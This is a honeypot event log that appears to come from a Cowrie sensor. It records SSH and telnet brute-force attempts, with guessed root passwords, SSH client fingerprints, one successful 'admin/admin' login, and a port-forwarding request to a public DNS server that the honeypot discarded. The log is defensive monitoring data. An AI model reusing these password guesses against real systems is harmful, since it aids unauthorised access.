{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:04:16.536707Z","src_ip":"103.15.222.183","session":"a2281c479cc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:04:17.799555Z","src_ip":"103.15.222.183","session":"a2281c479cc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.209.169","src_port":42074,"dst_ip":"159.203.135.109","dst_port":23,"session":"6aa2084f4eb1","protocol":"telnet","message":"New connection: 128.199.209.169:42074 (159.203.135.109:23) [session: 6aa2084f4eb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:04:32.402155Z"}
{"eventid":"cowrie.session.closed","duration":4.733431577682495,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:04:37.135457Z","src_ip":"128.199.209.169","session":"6aa2084f4eb1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":47632,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2843a837a93","protocol":"ssh","message":"New connection: 38.93.206.2:47632 (10.17.0.5:22) [session: e2843a837a93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:04:38.006720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:04:38.012359Z","src_ip":"38.93.206.2","session":"e2843a837a93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:04:38.065883Z","src_ip":"38.93.206.2","session":"e2843a837a93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"180983","message":"login attempt [root/180983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:04:38.229725Z","src_ip":"38.93.206.2","session":"e2843a837a93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:04:39.320961Z","src_ip":"38.93.206.2","session":"e2843a837a93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":39890,"dst_ip":"10.17.0.5","dst_port":22,"session":"57568bbfcf5b","protocol":"ssh","message":"New connection: 87.251.64.176:39890 (10.17.0.5:22) [session: 57568bbfcf5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:04:45.097568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:04:45.101613Z","src_ip":"87.251.64.176","session":"57568bbfcf5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:04:45.198074Z","src_ip":"87.251.64.176","session":"57568bbfcf5b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:04:45.482342Z","src_ip":"87.251.64.176","session":"57568bbfcf5b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:04:45.578979Z","session":"57568bbfcf5b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:04:45.674473Z","src_ip":"87.251.64.176","session":"57568bbfcf5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:04:45.905118Z","src_ip":"87.251.64.176","session":"57568bbfcf5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":56758,"dst_ip":"10.17.0.5","dst_port":22,"session":"df969d473aa5","protocol":"ssh","message":"New connection: 27.71.230.31:56758 (10.17.0.5:22) [session: df969d473aa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:05:13.199120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:05:13.229301Z","src_ip":"27.71.230.31","session":"df969d473aa5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:05:14.752108Z","src_ip":"27.71.230.31","session":"df969d473aa5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123$","message":"login attempt [root/Admin@123$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:05:16.995436Z","src_ip":"27.71.230.31","session":"df969d473aa5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:05:19.270874Z","src_ip":"27.71.230.31","session":"df969d473aa5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":40754,"dst_ip":"159.203.135.109","dst_port":23,"session":"481e57c6cddf","protocol":"telnet","message":"New connection: 172.81.62.90:40754 (159.203.135.109:23) [session: 481e57c6cddf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:05:20.369522Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":37780,"dst_ip":"10.17.0.5","dst_port":22,"session":"5408f188a510","protocol":"ssh","message":"New connection: 109.237.96.109:37780 (10.17.0.5:22) [session: 5408f188a510]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:05:41.015286Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:05:41.019753Z","src_ip":"109.237.96.109","session":"5408f188a510","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:05:41.113073Z","src_ip":"109.237.96.109","session":"5408f188a510","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mama1971","message":"login attempt [root/mama1971] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:05:41.402491Z","src_ip":"109.237.96.109","session":"5408f188a510","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:05:42.499649Z","src_ip":"109.237.96.109","session":"5408f188a510","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":49066,"dst_ip":"159.203.135.109","dst_port":23,"session":"3097df3b11ee","protocol":"telnet","message":"New connection: 172.81.62.90:49066 (159.203.135.109:23) [session: 3097df3b11ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:05:51.286128Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":46922,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5c07cd7315e","protocol":"ssh","message":"New connection: 103.122.221.179:46922 (159.203.135.109:22) [session: d5c07cd7315e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:05:52.642240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:05:52.646016Z","src_ip":"103.122.221.179","session":"d5c07cd7315e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:05:52.901700Z","src_ip":"103.122.221.179","session":"d5c07cd7315e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"candice","message":"login attempt [root/candice] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:05:53.668693Z","src_ip":"103.122.221.179","session":"d5c07cd7315e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:05:54.927340Z","src_ip":"103.122.221.179","session":"d5c07cd7315e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:05:56.588979Z","src_ip":"89.223.69.22","session":"a20fb97a9fb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.771239042282104,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:05:58.140626Z","src_ip":"172.81.62.90","session":"481e57c6cddf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":60222,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6edf5444358","protocol":"ssh","message":"New connection: 103.82.20.28:60222 (10.17.0.5:22) [session: d6edf5444358]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:06:22.235306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:06:22.238173Z","src_ip":"103.82.20.28","session":"d6edf5444358","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:06:22.491120Z","src_ip":"103.82.20.28","session":"d6edf5444358","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"15021981","message":"login attempt [root/15021981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:06:23.253749Z","src_ip":"103.82.20.28","session":"d6edf5444358","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:06:24.509864Z","src_ip":"103.82.20.28","session":"d6edf5444358","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":45776,"dst_ip":"159.203.135.109","dst_port":22,"session":"e70eef78236e","protocol":"ssh","message":"New connection: 27.71.230.31:45776 (159.203.135.109:22) [session: e70eef78236e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:06:34.513717Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":38986,"dst_ip":"159.203.135.109","dst_port":23,"session":"25478e3f7953","protocol":"telnet","message":"New connection: 172.81.62.90:38986 (159.203.135.109:23) [session: 25478e3f7953]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:06:34.748902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:06:35.157037Z","src_ip":"27.71.230.31","session":"e70eef78236e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:06:35.159709Z","src_ip":"27.71.230.31","session":"e70eef78236e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123$","message":"login attempt [root/Admin@123$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:06:41.651725Z","src_ip":"27.71.230.31","session":"e70eef78236e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.5","message":"Connection lost after 8.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:06:43.023470Z","src_ip":"27.71.230.31","session":"e70eef78236e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":57596,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc754e15f106","protocol":"telnet","message":"New connection: 128.199.8.54:57596 (159.203.135.109:23) [session: cc754e15f106]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:06:46.458177Z"}
